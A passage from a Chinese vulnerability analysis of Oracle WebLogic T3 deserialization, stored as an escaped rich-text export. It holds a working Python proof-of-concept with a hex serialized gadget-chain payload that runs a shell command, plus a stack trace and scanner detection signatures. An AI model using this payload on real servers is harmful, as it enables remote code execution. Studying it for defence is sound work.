&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aYVo-1673886074173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWux-1673886074172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经MarshalledObject封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAF-1673886074175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0vuD-1673886074174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6SkA-1673886074178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gYG-1673886074177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obss-1673886074180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAFC-1673886074179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJSH-1673886074182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hcKB-1673886074181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3nj-1673886074184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1dta-1673886074183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UEC-1673886074186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;um0a-1673886074185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwPy-1673886074188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWQH-1673886074187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHxA-1673886074190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URA-1673886074189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwF1-1673886074192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QcQ-1673886074191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JSl-1673886074194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J2kK-1673886074193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BA7D-1673886074196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMJj-1673886074195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hXET-1673886074198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUqt-1673886074197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hc8B-1673886074200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xyy-1673886074199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luaE-1673886074202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMPL-1673886074201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWzA-1673886074204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JE9-1673886074203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCtE-1673886074206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6sg-1673886074205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fWs-1673886074208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2szw-1673886074207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzIx-1673886074210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vX4e-1673886074209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlVY-1673886900345&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5217/WEBRESOURCEad9893f1807a8bfe4e24f71ba84733c4&#34;,&#34;width&#34;:1492,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qay7-1673920222284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lGMM-1673920222285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zh9v-1673920755180&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsOY-1673920755133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diIT-1673920755132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:58, MarshalledObject (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dgik-1673920755135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGAu-1673920755134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76t0-1673920755137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKlU-1673920755136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:57, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OUt-1673920755139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lxGq-1673920755138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP1A-1673920755141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9gk-1673920755140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:601, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sETw-1673920755143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YFod-1673920755142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadResolve:1091, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqKH-1673920755145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkXj-1673920755144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1805, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7VY-1673920755147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gVIc-1673920755146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7bgT-1673920755149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P55U-1673920755148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9PD-1673920755151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwLS-1673920755150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEVR-1673920755153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RhK2-1673920755152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDeV-1673920755155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yAA-1673920755154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hqHG-1673920755157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBie-1673920755156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nMw2-1673920755159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBAp-1673920755158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;neQ1-1673920755161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8M7-1673920755160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLL3-1673920755163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8IF-1673920755162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTlx-1673920755165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd6r-1673920755164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kaG-1673920755167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAz5-1673920755166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RdGP-1673920755169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S0fQ-1673920755168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atnR-1673920755171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seiJ-1673920755170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Scj7-1673920755173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqV3-1673920755172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Phes-1673920755175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HtN5-1673920755174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtCP-1673920755177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dx7Y-1673920755176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehtn-1673920755179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R5sS-1673920755178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BJ5D-1673920224798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JKyI-1673920224797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;It8n-1673921045949&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5227/WEBRESOURCE52413d95b1ec3902a87507998af82fb8&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ug37-1673921467121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5238/WEBRESOURCE5167f9617801306c27a7de0cec56eba5&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFjw-1673921480114&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5240/WEBRESOURCE1355df45d95fbb599f4afa5a1a223dcf&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Bz-1673921505120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5242/WEBRESOURCEfa42c2239e3d3cb224b253ae2084fcba&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上，出现的类变为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJUY-1673936935586&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ys9s-1673936935581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;sBbI-1673936953408&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 